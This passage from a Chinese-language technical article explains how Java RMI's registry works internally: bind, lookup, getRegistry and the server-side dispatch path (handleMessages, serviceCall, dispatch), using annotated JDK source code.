throws RemoteException, AlreadyBoundException, AccessException
{
// 说明:对“远程来电”路径,骨架/调度层会先做访问控制校验;
// 本地同进程直接调用不经过骨架的远程访问检查。

synchronized (bindings) { // 以注册表映射为锁,保证并发安全
// 1) 检查名称是否已被占用
Remote curr = bindings.get(name);
if (curr != null) {
// 已存在同名条目 → 按规范抛 AlreadyBoundException
throw new AlreadyBoundException(name);
}

// 2) 放入映射:名称 → 远程对象(通常是其 stub)
bindings.put(name, obj);
}
}

如果是使用 Naming#bind 静态方法,则会先调用 getRegistry 获取 RMI URL 对应的注册中心存根 RegistryImpl_Stub,之后和前面的方法一样调用的是 RegistryImpl_Stubbind 方法完成远程对象的注册。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* 将指定的 {@code name} 绑定到远程对象。
*
* <p>支持“URL 风格”的名称。常见写法:
* <ul>
* <li>{@code "rmi://host:port/name"}</li>
* <li>{@code "//host:port/name"}(省略协议)</li>
* <li>{@code "name"}(省略主机与端口,默认本机 + 1099)</li>
* </ul>
*
* @param name 使用 URL 风格的名称(可省略协议/主机/端口)
* @param obj 远程对象引用(通常是已导出的 stub;若对象继承 UnicastRemoteObject 且已自动导出也可)
* @throws AlreadyBoundException 名称已被占用
* @throws java.net.MalformedURLException 名称格式不合法(例如缺少服务名)
* @throws RemoteException 无法联系注册中心或网络/序列化错误
* @throws AccessException 不允许执行该操作(标准实现通常仅允许“本地”进程 bind/rebind/unbind)
* @since JDK 1.1
*/
public static void bind(String name, Remote obj)
throws AlreadyBoundException, java.net.MalformedURLException, RemoteException
{
// 1) 解析名称:拆出 host、port、最终服务名 parsed.name
// - 仅有服务名时,默认 host=本机、port=Registry.REGISTRY_PORT(1099)
ParsedNamingURL parsed = parseURL(name);

// 2) 根据解析出的 host/port 获取(远程或本地)Registry 代理
Registry registry = getRegistry(parsed);

// 3) 空值保护:不能把 null 绑定到名字上
if (obj == null) {
throw new NullPointerException("cannot bind to null");
}

// 4) 发送到注册中心:若名称已存在则抛 AlreadyBoundException
registry.bind(parsed.name, obj);
}

RegistryImpl_Stub#bind 函数实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/**
* 客户端存根方法:调用远端注册中心的 {@code Registry.bind(String, Remote)}。
*
* <p>实现细节:方法参数通过 RMI 编组(Java 序列化)写入网络流,
* 再由底层 {@link java.rmi.server.RemoteRef} 发送 JRMP 请求;服务端执行后
* 返回正常结果(此处为 void)或按声明的受检异常回传并在本地重新抛出。</p>
*
* <p><b>方法选择(协议)</b>:由生成代码中的 {@code operations} 表下标(此处为 0,opnum)
* 与 {@code interfaceHash} 共同标识远程方法。</p>
*
* @param $param_String_1 要绑定的名称
* @param $param_Remote_2 要绑定的远程对象引用(通常是已导出的 stub)
* @throws java.rmi.AccessException 远程调用方无权执行绑定
* @throws java.rmi.AlreadyBoundException 指定名称已被占用
* @throws java.rmi.RemoteException 编组/解组或网络 I/O 等远程错误
* @since JDK 1.1 (由 rmic 生成的 *_Stub)
*/
public void bind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2)
throws java.rmi.AccessException, java.rmi.AlreadyBoundException, java.rmi.RemoteException {
try {
// 1) 创建一次远程调用上下文(Call)
// - ref:客户端持有的 RemoteRef(封装传输细节与目标地址)
// - this:当前 stub 实例(用于定位远端对象)
// - operations:本接口的方法表(rmi 生成的 Operation[])
// - 0:方法在表中的序号(opnum),这里 0 对应 bind(String, Remote)
// - interfaceHash:接口签名哈希(long),用于版本/方法匹配
StreamRemoteCall call = (StreamRemoteCall) ref.newCall(this, operations, 0, interfaceHash);

try {
// 2) 参数编组(marshalling):把方法参数写入输出流
// RMI 使用 Java 序列化协议传输参数/返回值/异常
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_String_1); // 写入名称
out.writeObject($param_Remote_2); // 写入远程对象(通常是其 stub)
} catch (java.io.IOException e) {
// 序列化参数失败 → 抛出编组异常
throw new java.rmi.MarshalException("error marshalling arguments", e);
}

// 3) 发送请求并等待返回(可能是正常返回,也可能是远端抛出的受检异常)
ref.invoke(call);

// 4) 调用完成的清理/收尾(释放流、连接复用等)
ref.done(call);

} catch (java.lang.RuntimeException e) {
// [...]
}
}

该函数首先调用 ref.newCall 建立与远程注册中心的连接从而创建一个远程调用对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/**
* 为一次新的远程调用创建并返回“调用上下文”({@link RemoteCall})。
*
* <p>流程与用途:
* <ol>
* <li>从 {@code ref} 的通道获取一条连接(可能复用连接池)。</li>
* <li>记录本次调用的元信息(用于调试/日志)。</li>
* <li>基于连接、目标对象 ID(ObjID)、方法序号(opnum)与接口签名哈希(hash)
* 构造 {@link StreamRemoteCall},作为本次 JRMP 调用的承载体。</li>
* <li>序列化“自定义调用数据”(若实现覆盖了 {@code marshalCustomCallData})。</li>
* <li>把构造好的 {@code RemoteCall} 返回给上层(通常是 *_Stub 或
* {@code RemoteObjectInvocationHandler}),由上层继续写入参数并调用
* {@code ref.invoke(call)} 发送请求,最后 {@code ref.done(call)} 收尾。</li>
* </ol>
*
* <p><b>参数说明</b>:
* <ul>
* <li>{@code obj}:当前要调用的远程对象存根(用于日志/定位)。</li>
* <li>{@code ops}:编译期/生成器(rmic)产出的“方法表”。</li>
* <li>{@code opnum}:方法在 {@code ops} 中的序号(operation number),用于协议层标识具体方法。</li>
* <li>{@code hash}:接口签名哈希(64 位 long)。JRMP 通过它与 {@code opnum}
* 共同校验/选择远端方法,避免版本不匹配。</li>
* </ul>
*
* <p><b>异常与资源</b>:
* 发生 {@link RemoteException} 时会释放本次获取的连接(不复用)。返回正常时,
* 连接的释放与复用由后续的 {@code ref.invoke(call)} / {@code ref.done(call)} 负责。</p>
*
* @param obj 远程对象(存根)本体,用于日志等
* @param ops 方法表(用于定位/记录本次调用的方法)
* @param opnum 方法序号(在方法表中的下标)
* @param hash 接口签名哈希(RMI 方法选择/校验用)
* @return 本次调用的 {@link RemoteCall},上层据此写参数并发起调用
* @throws RemoteException 建立连接、构造调用、序列化自定义数据等出错时抛出
*/
public RemoteCall newCall(RemoteObject obj, Operation[] ops, int opnum, long hash)
throws RemoteException {
clientRefLog.log(Log.BRIEF, "get connection");

// 1) 向通道申请一条连接(可能是新建,也可能是池中复用)
Connection conn = ref.getChannel().newConnection();
try {
clientRefLog.log(Log.VERBOSE, "create call context");

// 2) 记录本次要调用的方法(便于调试定位)
if (clientCallLog.isLoggable(Log.VERBOSE)) {
logClientCall(obj, ops[opnum]);
}

// 3) 基于连接与协议元信息创建 JRMP 调用体
RemoteCall call = new StreamRemoteCall(conn, ref.getObjID(), opnum, hash);

// 4) 序列化“自定义调用数据”(如有定义;默认可能为空实现)
try {
marshalCustomCallData(call.getOutputStream());
} catch (IOException e) {
// 自定义数据编组失败:提升为 RMI 的编组异常
throw new MarshalException("error marshaling custom call data", e);
}

// 5) 返回给上层;随后由上层写入方法参数并调用 ref.invoke(call)/ref.done(call)
return call;

} catch (RemoteException e) {
// 发生远程层错误:当前连接不再复用,立刻释放
ref.getChannel().free(conn, /*reuse=*/false);
throw e;
}
}

StreamRemoteCall 创建远程调用对象时会写入如下内容用以为被调用方提供方法调用的相关信息。

  • 操作码 opnumbind/0list/1lookup/2 对应不同的 opnum),
  • 对象 id(ref.getObjID(),用来描述对象类型)
    • 对于 RegistryImpl_Stub,这里就是 0。
    • 对于普通远程对象的动态代理 Stub,这里就是其对应的 id。

之后在 RegistryImpl_Stub#bind 会将远程对象及其名称序列化后写入输出流,最后调用UnicastRefinvoke 方法(invoke 会调用 StreamRemoteCall#executeCall,释放输出流,调用远程方法,将结果写进输入流)传给注册中心。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 2) 参数编组(marshalling):把方法参数写入输出流
// RMI 使用 Java 序列化协议传输参数/返回值/异常
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_String_1); // 写入名称
out.writeObject($param_Remote_2); // 写入远程对象(通常是其 stub)

// [...]

// 3) 发送请求并等待返回(可能是正常返回,也可能是远端抛出的受检异常)
ref.invoke(call);

// 4) 调用完成的清理/收尾(释放流、连接复用等)
ref.done(call);

总结一下将远程对象注册到服务中心时的关键点:

  • 一般注册中心和服务端都在一起,可直接调用 createRegistry 返回的RegistryImpl#bind,也可以用 Naming#bind
  • Naming#bind 是通过 RegistryImpl_Stub 将服务名称和远程对象的动态代理 Stub 序列化后传递给注册中心,注册中心再进行 RegistryImpl#bind

服务发现

服务发现,就是获取注册中心并对其进行操作的过程。

提示

关于服务发现,对于服务端来说:

  • 当服务端和注册中心不在同一端的时候,服务端也会使用 Naming#bind 静态方法注册远程对象。

  • 如果服务端和注册中心在同一端,则可以直接使用创建的注册中心对象 RegistryImplbind 方法直接将远程对象注册到注册中心。

其中第一种情况其本质是通过 getRegistry 方法获取注册中心,然后再将远程对注册到注册中心中。 这个过程就是服务发现。

而对于客户端,我们调用远程方法之前的第一件事情就是调用 getRegistry 方法获取注册中心,因此同样会涉及服务发现。

客户端/服务端部分

首先是获取注册中心:

1
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

其中 getRegistry 函数实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
/**
* 返回指定主机与端口上的远程注册表(Registry)的引用。
* <p>此重载使用“默认客户端 Socket 工厂”(即不自定义 csf)。</p>
*
* <p><b>重要:</b>{@code getRegistry} 仅构造并返回一个“本地代理(stub)”,
* 不会在此时与远端建立连接或做连通性校验;只有在后续调用
* {@code lookup/bind/rebind/list/unbind} 等方法时才会尝试连接远端并抛出网络相关异常。</p>
*
* @param host 远程注册表主机;为 {@code null} 或空串则视为本机
* @param port 远程注册表端口;小于等于 0 则采用默认端口 {@link #REGISTRY_PORT}(1099)
* @return 远程注册表的引用(stub)
* @throws RemoteException 构造引用失败时抛出
* @since JDK 1.1
*/
public static Registry getRegistry(String host, int port) throws RemoteException {
// 调用带 csf 的重载,传入 null 表示使用默认客户端 Socket 工厂
return getRegistry(host, port, null);
}

/** RMI 注册中心的默认端口(习惯值 1099)。 */
public static final int REGISTRY_PORT = 1099;

/**
* 返回指定主机与端口上的远程注册表(Registry)的引用(stub)。
* <p>与该注册表的通信将通过提供的 {@link RMIClientSocketFactory}(csf)创建 Socket 连接;
* 若 {@code csf} 为 {@code null},则使用默认的客户端 Socket 工厂。</p>
*
* <p><b>注意:</b>本方法同样不会立即建立网络连接,真正的连接与远端交互发生在
* 后续对返回对象调用 Registry 接口方法时。</p>
*
* @param host 远程注册表主机;为 {@code null} 或空串则回退为本机地址
* @param port 远程注册表端口;小于等于 0 则采用 {@link #REGISTRY_PORT}
* @param csf 客户端 Socket 工厂;为 {@code null} 使用默认实现
* @return 远程注册表的引用(stub)
* @throws RemoteException 构造引用失败时抛出
* @since 1.2
*/
public static Registry getRegistry(String host, int port, RMIClientSocketFactory csf)
throws RemoteException {
Registry registry;

// 1) 端口归一化:<=0 则采用默认端口 1099
if (port <= 0) {
port = Registry.REGISTRY_PORT;
}

// 2) 主机归一化:null/空串 → 解析成本机地址失败时,退回空串(等效于 localhost)
if (host == null || host.length() == 0) {
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
host = ""; // RMI 传输层会将空主机视作本地
}
}

/*
* 3) 构造“活动引用(LiveRef)”
* - ObjID(REGISTRY_ID):注册中心使用固定对象 ID,便于协议层定位
* - TCPEndpoint(host, port, csf, null):目标端点(含可选的客户端 Socket 工厂)
* - false:此处创建的是“客户端侧引用”,非本地对象
*/
LiveRef liveRef = new LiveRef(
new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false
);

/*
* 4) 封装客户端远程引用(RemoteRef)
* - 无 csf:使用 UnicastRef(老款客户端引用)
* - 有 csf:使用 UnicastRef2(携带客户端工厂信息的引用)
*/
RemoteRef ref = (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

/*
* 5) 返回 Registry 的代理
* Util.createProxy(...) 会按规则选择:
* - 若未忽略存根且存在预生成存根 *_Stub → 返回 RemoteStub(如 RegistryImpl_Stub)
* - 否则 → 返回 JDK 动态代理(Proxy + RemoteObjectInvocationHandler)
*
* 对于 RegistryImpl,JDK 自带 sun.rmi.registry.RegistryImpl_Stub,
* 因此通常走“预生成存根”路径。
*/
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

其中核心过程为:

  1. 通过传入的 hostport 创建一个 LiveRef 用于网络请求(注意这里传入的 ObjID 也是 0),并通过 UnicastRef 进行封装。
  2. 然后和注册中心的逻辑相同,尝试创建代理,这里同样获取了一个 RegistryImpl_Stub 对象。

接着在客户端,我们通过 lookup 与注册中心通信,查找远程对象获取存根。

1
Hello hello = (Hello) registry.lookup("hello");

RegistryImpl_Stub#lookup 函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/**
* 客户端存根方法:调用远端注册中心的 {@code Registry.lookup(String)} 并返回匹配名称的远程对象。
*
* <p>实现细节:
* <ol>
* <li>创建一次远程调用({@code ref.newCall(...)}),并将参数按 RMI 协议编组到输出流;</li>
* <li>通过 {@code ref.invoke(call)} 发送请求;</li>
* <li>从输入流反序列化返回值(通常是该服务的 stub);</li>
* <li>调用 {@code ref.done(call)} 完成收尾(释放/归还连接)。</li>
* </ol>
*
* <p><b>方法选择(协议)</b>:由生成代码中的 {@code operations} 表序号(此处为 2,opnum)
* 与 {@code interfaceHash} 共同标识远程方法。</p>
*
* @param $param_String_1 要查找的绑定名称(服务名)
* @return 绑定到该名称的远程对象引用(通常为其存根)
* @throws java.rmi.AccessException 访问被拒(例如远程策略限制)
* @throws java.rmi.NotBoundException 名称未在注册中心绑定
* @throws java.rmi.RemoteException 远程通信/编组解组失败等通用远程错误
*
* @implNote 本方法签名中的参数名由生成/反编译工具自动命名(如 {@code $param_String_1}),
* 仅用于展示;协议匹配只依赖参数类型与顺序,而非参数名。
*/
public java.rmi.Remote lookup(java.lang.String $param_String_1)
throws java.rmi.AccessException, java.rmi.NotBoundException, java.rmi.RemoteException {
try {
// 1) 创建远程调用上下文(opnum=2 对应 lookup)
StreamRemoteCall call =
(StreamRemoteCall) ref.newCall(this, operations, 2, interfaceHash);

try {
// 2) 编组参数:写入要查找的名称
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_String_1);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}

// 3) 发送请求
ref.invoke(call);

java.rmi.Remote $result;
try {
// 4) 解组返回值:读取远端返回的远程对象引用(stub)
java.io.ObjectInput in = call.getInputStream();
$result = (java.rmi.Remote) in.readObject();
} catch (ClassCastException | java.io.IOException | ClassNotFoundException e) {
// 生成的 stub 通常会将这些异常映射/封装;此处保留为简化示例
throw new java.rmi.UnmarshalException("error unmarshalling return", e);
} finally {
// 5) 收尾(释放/归还连接)
ref.done(call);
}

return $result;
} catch (java.lang.RuntimeException e) {
// 生成的 stub 还会有更细的异常映射,这里按原样上抛
throw e;
}
}

与前面 RegistryImpl_Stub#bind 类似:

  1. RegistryImpl_Stub#lookup 同样会调用 newCall 建立与远程注册中心的连接。
  2. 然后再通过序列化将要查找的名称写入输出流。
  3. 之后调用调用 UnicastRefinvoke 方法将序列化的名称传给远程的注册中心。
  4. 最后获取输入流,将返回值进行反序列化,得到远程对象的动态代理 Stub。

最后总结一下,就是:

  • LocateRegistry.getRegistry 用于获取注册中心的 Stub,即 RegistryImpl_Stub,过程和注册中心的创建一样,都是调用 Util#createProxy
  • 注册中心实际上相当于一个客户端知道其端口号的远程对象。
  • RegistryImpl_Stub#lookup 首先建立与注册中心的连接,服务名称序列化后写入输出流,释放输出流,等待远程返回,获取输入流进行反序列化,得到远程对象的动态代理Stub。

注册中心部分

注册中心由 sun.rmi.transport.tcp.TCPTransport#handleMessages 来处理请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/**
* 处理来自指定连接(JRMP 传输层)的入站消息:逐条读取“传输操作码”,
* 并按协议对调用、心跳、DGC 确认等进行相应处理。
*
* <p><b>工作流程</b>:
* <ol>
* <li>从 {@code conn.getInputStream()} 读 1 个字节作为“操作码”。</li>
* <li>根据操作码分支:
* <ul>
* <li>{@code TransportConstants.Call}:处理一次 RMI 远程调用。</li>
* <li>{@code TransportConstants.Ping}:返回 {@code PingAck} 作为保活心跳应答。</li>
* <li>{@code TransportConstants.DGCAck}:接收 DGC 确认(租约/引用追踪相关)。</li>
* </ul>
* </li>
* <li>若 {@code persistent} 为 {@code true},在同一连接上继续循环处理后续消息;
* 否则处理完一条后返回。</li>
* </ol>
*
* <p><b>异常与资源</b>:在处理过程中发生 {@link java.io.IOException}(含协议错误、
* 连接断开、反序列化失败等)会终止循环并关闭底层套接字(见 catch 分支中的清理逻辑)。</p>
*
* @param conn 已建立的传输连接(由传输层提供/复用)
* @param persistent 是否保持长连接(true=同一连接可承载多次请求)
*/
void handleMessages(Connection conn, boolean persistent) {
// 仅用于日志/诊断:当前端点的服务端口
int port = getEndpoint().getPort();

try {
// 用于逐字节读取“传输操作码”(不是 Java 对象反序列化)
DataInputStream in = new DataInputStream(conn.getInputStream());

do {
// 读取 1 字节操作码
int op = in.read();
// [...]

switch (op) {
case TransportConstants.Call: {
// 收到一次远程调用请求:构造调用体并交给分发器处理
RemoteCall call = new StreamRemoteCall(conn);

// serviceCall 内部会:定位 ObjID → 查 Target → 反序列化参数 → 反射调用 → 回写结果/异常
// 返回 false 通常表示“不要再复用该连接”(例如调用方要求关闭或发生致命错误)
if (!serviceCall(call)) {
return;
}
break;
}

case TransportConstants.Ping: {
// 心跳请求:立即回写 PingAck,表示连接有效可复用
DataOutputStream out = new DataOutputStream(conn.getOutputStream());
out.writeByte(TransportConstants.PingAck);
// 告知连接实现:本次写出完成,可冲刷/归还底层输出流
conn.releaseOutputStream();
break;
}

case TransportConstants.DGCAck: {
// DGC(分布式 GC)确认:读取一个 UID 并通知 DGC 处理器
DGCAckHandler.received(UID.read(in));
break;
}

default:
// 未知/不支持的操作码:协议错误
throw new IOException("unknown transport op " + op);
}
} while (persistent); // 持久连接:在同一 TCP 连接上继续处理下一条消息

} catch (IOException e) {
// [...]
}
}

首先 handleMessages 会根据数据流的第一个操作数数值决定如何处理数据,这里主要是 Call 操作。对于 Call 操作,这里会创建一个 StreamRemoteCall(和客户端一样),然后调用 serviceCall

1
2
3
4
5
6
case TransportConstants.Call:
// 处理传入的 RMI 调用
RemoteCall call = new StreamRemoteCall(conn);
if (serviceCall(call) == false)
return;
break;

serviceCall 函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/**
* 处理一次入站的远程调用(RMI 调用会话)。
*
* <p><b>职责</b>:从 {@code call} 的输入流读取目标对象标识({@link ObjID}),
* 在对象表中定位目标({@link Target}),然后在目标的安全/类加载上下文中
* 调用其分发器({@link Dispatcher#dispatch})完成参数解组、方法调用与结果回写。</p>
*
* <p><b>连接复用语义</b>:
* 若返回 {@code true},表示调用已被正确处理,传输层可复用该连接;
* 若返回 {@code false},表示发生协议级错误,传输层应销毁该连接。</p>
*
* <p><b>安全与上下文</b>:
* 调用在目标的 {@link AccessControlContext} 下执行,且临时设置线程上下文类加载器为
* 目标的 {@code ContextClassLoader}。在执行前调用 {@code checkAcceptPermission(acc)}
* 进行接入权限检查。</p>
*
* @param call 表示这次入站调用的会话对象(已定位到消息起始处)
* @return 是否允许传输层复用连接({@code true} 可复用,{@code false} 应销毁)
*/
public boolean serviceCall(final RemoteCall call) {
try {
/* 1) 读取目标对象 ID(ObjID) */
final Remote impl;
ObjID id;
try {
id = ObjID.read(call.getInputStream());
} catch (java.io.IOException e) {
// 无法从输入流解出 ObjID → 编组错误
throw new MarshalException("unable to read objID", e);
}

/* 2) 在对象表中定位 Target */
// DGC 的特殊目标用 null 作为 transport 键的一部分
Transport transport = id.equals(dgcID) ? null : this;
Target target = ObjectTable.getTarget(new ObjectEndpoint(id, transport));

if (target == null || (impl = target.getImpl()) == null) {
// 未导出/已取消导出/已被回收
throw new NoSuchObjectException("no such object in table");
}

final Dispatcher disp = target.getDispatcher();
target.incrementCallCount(); // 统计当前活跃调用,配合卸载/生命周期控制

try {
/* 3) 在目标的安全/加载上下文里分发调用 */
transportLog.log(Log.VERBOSE, "call dispatcher");

final AccessControlContext acc = target.getAccessControlContext();
ClassLoader ccl = target.getContextClassLoader();

// 保存并临时切换线程上下文类加载器(影响反序列化与反射解析)
ClassLoader savedCcl = Thread.currentThread().getContextClassLoader();

try {
setContextClassLoader(ccl);
currentTransport.set(this); // 线程局部,供下游获取当前传输

// 在目标的 ACC 下执行:先做接入权限检查,再分发调用
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
public Void run() throws IOException {
checkAcceptPermission(acc);
disp.dispatch(impl, call); // 解组参数→调用方法→回写结果/异常
return null;
}
}, acc);

} catch (java.security.PrivilegedActionException pae) {
// 将特权动作中的受检异常还原抛出
throw (IOException) pae.getException();

} finally {
// 恢复线程上下文并清理线程局部
setContextClassLoader(savedCcl);
currentTransport.set(null);
}

} catch (IOException ex) {
// 这里通常会把 IO/编组错误回写给客户端(省略具体回写逻辑),并决定连接是否可复用
// 若需要中断复用,可在上层捕获后返回 false;当前实现按成功路径继续返回 true
// [...]
}

} catch (RemoteException e) {
// 远程语义错误(如 NoSuchObject、权限拒绝等)通常已由分发器写回
// 这里捕获以防止异常冒泡导致上层未按协议收尾
// [...]
}

// 当前实现:成功处理 → 允许连接复用
return true;
}

该函数的主要逻辑是:

  1. 首先该函数会先调用 ObjID.read(call.getInputStream()) 获取对象 id,对于注册中心这里获取的 id 是 0。

  2. 之后调用 ObjectTable.getTarget 根据创建的 ObjectEndpointObjectTable 中查询对应的 target 对象。这里的 target 对象是在前面导出注册中心的时候放入 ObjectTable 的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    /**
    * 将目标对象“导出”(export)到当前传输层,使其能够接收远程调用。
    *
    * <p>导出做了两件关键的事:</p>
    * <ol>
    * <li>把 {@code target} 绑定到当前 {@code Transport} 实例(反向引用),
    * 以便后续入站请求、DGC(分布式 GC)通知、异常回写等都经由该传输层处理。</li>
    * <li>把 {@code target} 注册到全局的 {@code ObjectTable},
    * 建立 ObjID → Target 的查找关系,这样当有入站调用携带某个 ObjID 时,
    * 传输层就能在表里定位到对应的服务对象并完成调度。</li>
    * </ol>
    *
    * <p><b>并发与幂等:</b>注册通常是线程安全的,但“重复导出同一 ObjID”在实现上可能被视为错误,
    * 具体行为取决于 {@code ObjectTable.putTarget}(常见是抛出 {@code ExportException} 的子类)。</p>
    *
    * <p><b>异常:</b>本方法声明 {@link RemoteException} 以兼容具体传输层/注册实现可能抛出的远程导出错误;
    * 该基类实现本身不直接抛出,但调用链(尤其是 {@code ObjectTable.putTarget})可能触发。</p>
    *
    * @param target 被导出的目标(封装了远程对象、ObjID、LiveRef 等元信息)
    * @throws RemoteException 导出/注册失败时抛出(如 ObjID 冲突、底层资源问题等)
    */
    public void exportObject(Target target) throws RemoteException {
    // 1) 建立 Target → Transport 的反向绑定:
    // 让 target 知道今后由哪个传输层接收请求、发送响应/异常、处理 DGC。
    target.setExportedTransport(this);

    // 2) 注册到全局对象表:
    // 使 ObjID 可解析到具体的 Target(从而解析到真正的远程对象与其调度信息)。
    // 之后入站调用根据请求里的 ObjID 在此表中查到 target 并完成分发。
    ObjectTable.putTarget(target);
    }
  3. 通过 getDispatcher 方法获取 target 对象的远程对象引用 disp(实际上是 UnicastServerRef)。

  4. 调用 UnicastServerRef#dispatch 将方法调用分发给服务端的远程对象并序列化服务端调用返回的结果。

dispatch 函数首先读取操作数 num(即前面的 opnum),接着会会根据 skel 是否为空来区别 RegistryImplUnicastRemoteObject(即区别注册中心和普通远程对象)。对于注册中心 dispatch 函数会调用 oldDispatch 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/**
* 调度远程对象的方法(服务端侧)。
* 在返回前,必须完成:处理到服务端的上行调用(参数解组 + 目标方法调用)
* 以及“返回值或异常”的序列化(写回到对端)。
*
* <p><b>协议兼容性</b>:
* <ul>
* <li>RMI 1.1 旧存根:先写入一个 <code>int</code> 非负“操作编号”(方法索引),服务端需依赖 Skeleton。</li>
* <li>RMI 1.2+ 新存根:先写入一个 <code>int</code> 负的“版本标记”,随后写入 <code>long</code> 方法哈希,
* 服务端按哈希定位 Method,无需 Skeleton。</li>
* </ul>
* </p>
*
* <p><b>流的所有权</b>:输入/输出流由 {@link RemoteCall} 管理;本方法内不应自行关闭底层流,
* 仅通过 {@code releaseInputStream}/{@code releaseOutputStream} 归还。</p>
*
* @param obj 本次调用的目标远程对象实例
* @param call 远程调用上下文,可从中取得编组/解组所需的输入/输出流
* @throws IOException 若返回值编组失败,或在释放输入/输出流时失败,会抛出(例如 {@link java.rmi.UnmarshalException})
*/
public void dispatch(Remote obj, RemoteCall call) throws IOException {
// 1.1 存根:为正的操作编号(方法索引)
// 1.2+ 存根:为负的“版本号”(随后要再读一个 long 作为方法哈希)
int num;
long op;

try {
// ==== 读取远程调用头部(先读一个 int)====
ObjectInput in;
try {
in = call.getInputStream(); // 生命周期由 RemoteCall 控制,这里只使用
num = in.readInt(); // 旧协议: 方法索引;新协议: 负版本标记
} catch (Exception readEx) {
// 统一转成 UnmarshalException,便于上层按 RMI 语义回传
throw new UnmarshalException("error unmarshalling call header", readEx);
}

// ==== 旧协议:需要 skeleton 才能分发 ====
if (num >= 0) {
if (skel != null) {
// 交由旧协议分发入口:内部会继续读调用头等并完成分发
oldDispatch(obj, call, num);
return; // 分发完成直接返回
} else {
// 客户端按 1.1 说话,但服务端没有 skeleton,协商失败
throw new UnmarshalException(
"skeleton class not found but required for client version");
}
}

// [...]

oldDispatch 会调用 skeldispatch 方法。根据前面对注册中心创建过程中的 objTable 的值的分析可知,这里调用的是 RegistryImpl_Skel#dispatch 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
* 使用 RMI 1.1 的存根/骨架(Stub/Skeleton)协议进行服务端调度。
* 给定一个“操作编号”(op,通常是由旧协议约定的整型下标)和
* 从调用流中读到的方法哈希(hash,长整型,用于核对 stub/skin 的方法匹配),
* 将请求分发给服务端骨架以调用目标远程对象。
*
* <p>异常交由上层(调用者)统一处理:若在解组/分发过程中抛出异常,
* 上层会将其封装并通过网络回传给远程客户端。</p>
*
* <p><b>调用顺序:</b>获取输入流 → 读取方法哈希 → 日志记录 → 反序列化自定义调用数据 → 分发到骨架。</p>
*
* <p><b>注意事项:</b>
* <ul>
* <li>此方法遵循 RMI 1.1 老协议,依赖 Skeleton 的 {@code getOperations()} 和 {@code dispatch(...)}。</li>
* <li>{@code op} 若在操作表范围外,仅用于日志打印;真正匹配由 {@code hash} 与骨架完成。</li>
* <li>不要手动关闭从 {@code call} 获取的输入/输出流,其生命周期由 {@code RemoteCall} 管控。</li>
* </ul>
* </p>
*
* @param obj 目标远程对象实例(真正执行业务逻辑的对象)
* @param call 当前远程调用的上下文,包含输入/输出流等编组资源
* @param op 操作编号(旧协议下的方法索引;可能为负或越界,仅用于日志友好展示)
* @throws Exception 当读取调用头(方法哈希)、反序列化自定义数据、或骨架分发失败时抛出。
* 典型地会包装为 {@link java.rmi.UnmarshalException} 等并由上层回传客户端。
*/
private void oldDispatch(Remote obj, RemoteCall call, int op) throws Exception {
// 存根/骨架用于方法匹配的 64-bit 哈希;老协议中,客户端和服务端用它来确认“调用的是同一个方法”
long hash;

// 1) 获取输入流:用于解组调用头(方法哈希)及后续自定义调用数据
// 注意:流由 RemoteCall 统一管理,这里不负责关闭。
ObjectInput in = call.getInputStream();

// [... 可能还有一些与传输层相关的预处理逻辑(保留位) ...]

try {
// 2) 读取方法哈希(由客户端在调用头中写入)
// 若此处失败,说明来路数据非法或链路异常,按 RMI 语义抛解组异常。
hash = in.readLong();
